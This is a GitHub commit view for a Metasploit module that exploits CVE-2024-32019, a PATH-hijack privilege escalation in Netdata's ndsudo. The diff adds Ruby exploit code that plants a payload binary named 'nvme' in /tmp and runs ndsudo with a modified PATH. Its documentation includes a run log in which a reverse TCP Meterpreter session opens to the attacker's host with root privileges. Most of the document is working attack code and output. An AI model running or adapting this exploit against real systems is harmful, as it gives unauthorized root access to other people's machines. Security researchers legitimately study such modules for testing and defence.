Skip to content

Commit d219efc

Browse files
committed
Adds documentation, adds check method
1 parent 936e68e commit d219efc

File tree

2 files changed

+81
-61
lines changed

2 files changed

+81
-61
lines changed
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
## Vulnerable Application
2+
3+
Instructions to get the vulnerable application. If applicable, include links to the vulnerable install
4+
files, as well as instructions on installing/configuring the environment if it is different than a
5+
standard install. Much of this will come from the PR, and can be copy/pasted.
6+
7+
Installation steps:
8+
9+
1. `sudo apt install cmake libelf-dev git bison flex build-essential libssl-dev libsystem-dev liblz4-dev libzstd-dev libbrotli-dev uuid-dev libuv1-dev`
10+
1. `wget https://github.com/netdata/netdata-nightlies/releases/download/v1.45.0-8-nightly/netdata-latest.tar.gz`
11+
1. `gunzip netdata-latest.tar.gz`
12+
1. `tar -xf netdata-latest.tar`
13+
1. `cd netdata-v1.45.0-8-g5803c7766/`
14+
1. `sudo `
15+
16+
## Verification Steps
17+
Example steps in this format (is also in the PR):
18+
19+
1. Install the application
20+
1. Start msfconsole
21+
1. Do: `use [module path]`
22+
1. Do: `run`
23+
1. You should get a shell.
24+
25+
## Options
26+
27+
28+
### WritableDir
29+
30+
A path where malicious `nvme` binary will be stored. This path will be later prepended to `$PATH` variable to achieve privilege escalation.
31+
32+
### NdsudoPath
33+
34+
A path to `ndsudo` binary.
35+
36+
37+
## Scenarios
38+
39+
40+
```
41+
msf exploit(linux/local/ndsudo_cve_2024_32019) > run verbose=true
42+
[*] Started reverse TCP handler on 192.168.3.7:4444
43+
[*] Running automatic check ("set AutoCheck false" to disable)
44+
[+] The target appears to be vulnerable. Vulnerable binary detected
45+
[*] Creating malicious file at /tmp/nvme
46+
[*] Writing '/tmp/nvme' (250 bytes) ...
47+
[*] Executing..
48+
[*] Transmitting intermediate stager...(126 bytes)
49+
[*] Sending stage (3090404 bytes) to 10.5.134.200
50+
[+] Deleted /tmp/nvme
51+
[*] Meterpreter session 3 opened (192.168.3.7:4444 -> 10.5.134.200:53172) at 2025-08-11 11:05:24 +0200
52+
53+
meterpreter > getuid
54+
Server username: root
55+
meterpreter > sysinfo
56+
Computer : 10.5.134.200
57+
OS : Ubuntu 20.04 (Linux 5.13.0-1021-oem)
58+
Architecture : x64
59+
BuildTuple : x86_64-linux-musl
60+
Meterpreter : x64/linux
61+
meterpreter >
62+
```

modules/exploits/linux/local/ndsudo_cve_2024_32019.rb

Lines changed: 19 additions & 61 deletions
Original file line numberDiff line numberDiff line change
@@ -6,20 +6,12 @@
66
class MetasploitModule < Msf::Exploit::Local
77
Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
88

9-
# includes: is_root?
109
include Msf::Post::Linux::Priv
11-
# includes: has_gcc?
1210
include Msf::Post::Linux::System
13-
# includes: kernel_release
1411
include Msf::Post::Linux::Kernel
15-
# includes writable?, upload_file, upload_and_chmodx, exploit_data
1612
include Msf::Post::File
17-
# includes generate_payload_exe
1813
include Msf::Exploit::EXE
19-
# includes register_files_for_cleanup
2014
include Msf::Exploit::FileDropper
21-
# includes: COMPILE option, live_compile?, upload_and_compile
22-
# strip_comments
2315
include Msf::Post::Linux::Compile
2416
prepend Msf::Exploit::Remote::AutoCheck
2517

@@ -31,101 +23,67 @@ def initialize(info = {})
3123
# vuln type, class. Preferably apply
3224
# some search optimization so people can actually find the module.
3325
# We encourage consistency between module name and file name.
34-
'Name' => 'Sample Linux Priv Esc',
26+
'Name' => 'Netdata ndsudo privilege escalation',
3527
'Description' => %q{
36-
This exploit module illustrates how a vulnerability could be exploited
37-
in an linux command for priv esc.
28+
TODO
3829
},
3930
'License' => MSF_LICENSE,
40-
# The place to add your name/handle and email. Twitter and other contact info isn't handled here.
41-
# Add reference to additional authors, like those creating original proof of concepts or
42-
# reference materials.
43-
# It is also common to comment in who did what (PoC vs metasploit module, etc)
31+
4432
'Author' => [
4533
'msutovsky-r7', # msf module
4634
'mia-0' # security researcher
4735
],
4836
'Platform' => [ 'linux' ],
49-
# from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit
50-
# may only apply to say ARCH_PPC or something else, where a specific arch is required.
51-
# A full list is available in lib/msf/core/payload/uuid.rb
5237
'Arch' => [ ARCH_X86, ARCH_X64 ],
53-
# What types of sessions we can use this module in conjunction with. Most modules use libraries
54-
# which work on shell and meterpreter, but there may be a nuance between one of them, so best to
55-
# test both to ensure compatibility.
5638
'SessionTypes' => [ 'shell', 'meterpreter' ],
5739
'Targets' => [[ 'Auto', {} ]],
58-
# from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
59-
# since privilege escalation modules typically result in elevated privileges, this is
60-
# generally set to true
6140
'Privileged' => true,
6241
'References' => [
63-
[ 'OSVDB', '12345' ],
64-
[ 'EDB', '12345' ],
65-
[ 'URL', 'http://www.example.com'],
42+
[ 'URL', 'https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93'],
6643
[ 'CVE', '2024-32019']
6744
],
6845
'DisclosureDate' => '2024-04-12',
69-
# Note that DefaultTarget refers to the index of an item in Targets, rather than name.
70-
# It's generally easiest just to put the default at the beginning of the list and skip this
71-
# entirely.
7246
'DefaultTarget' => 0,
73-
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
47+
# TODO
7448
'Notes' => {
7549
'Stability' => [],
7650
'Reliability' => [],
7751
'SideEffects' => []
7852
}
7953
)
8054
)
81-
# force exploit is used to bypass the check command results
55+
8256
register_advanced_options [
83-
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
57+
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
58+
OptString.new('NdsudoPath', [ true, 'A path to ndsudo binary on the target system', '/usr/libexec/netdata/plugins.d/ndsudo'])
8459
]
8560
end
8661

8762
def check
88-
89-
release = kernel_release
90-
begin
91-
if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') ||
92-
Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0')
93-
return CheckCode::Safe("Kernel version #{release} is not vulnerable")
94-
end
95-
rescue ArgumentError => e
96-
return CheckCode::Safe("Error determining or processing kernel release (#{release}) into known format: #{e}")
97-
end
98-
vprint_good "Kernel version #{release} appears to be vulnerable"
99-
100-
# Check the app is installed and the version, debian based example
101-
package = cmd_exec('dpkg -l example | grep \'^ii\'')
102-
if package&.include?('1:2015.3.14AR.1-1build1')
103-
return CheckCode::Appears("Vulnerable app version #{package} detected")
104-
end
105-
106-
CheckCode::Safe("app #{package} is not vulnerable")
63+
# could not find reasonable way to get version
64+
CheckCode::Safe('Vulnerable binary not detected, check NdsudoPath option') unless file?(datastore['NdsudoPath'])
65+
CheckCode::Appears('Vulnerable binary detected')
10766
end
10867

10968
def exploit
110-
69+
base_dir = datastore['WritableDir']
11170
if !datastore['ForceExploit'] && is_root?
112-
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
71+
fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override')
11372
end
11473

11574
unless writable? base_dir
116-
fail_with Failure::BadConfig, "#{base_dir} is not writable"
75+
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
11776
end
11877

11978
executable_path = "#{base_dir}/nvme"
79+
vprint_status("Creating malicious file at #{executable_path}")
12080

121-
upload_and_chmodx(executable_path, generate_payload_exe)
122-
81+
fail_with(Failure::PayloadFailed, 'Failed to upload malicious binary') unless upload_and_chmodx(executable_path, generate_payload_exe)
12382

12483
register_files_for_cleanup(executable_path)
12584

126-
timeout = 30
127-
print_status 'Launching exploit...'
128-
output = cmd_exec "PATH=#{base_dir}:$PATH /usr/libexec/netdata/plugins.d/ndsudo nvme-list", nil, timeout
129-
output.each_line { |line| vprint_status line.chomp }
85+
vprint_status('Executing..')
86+
87+
cmd_exec("PATH=#{base_dir}:$PATH #{datastore['NdsudoPath']} nvme-list")
13088
end
13189
end

0 commit comments

Comments
 (0)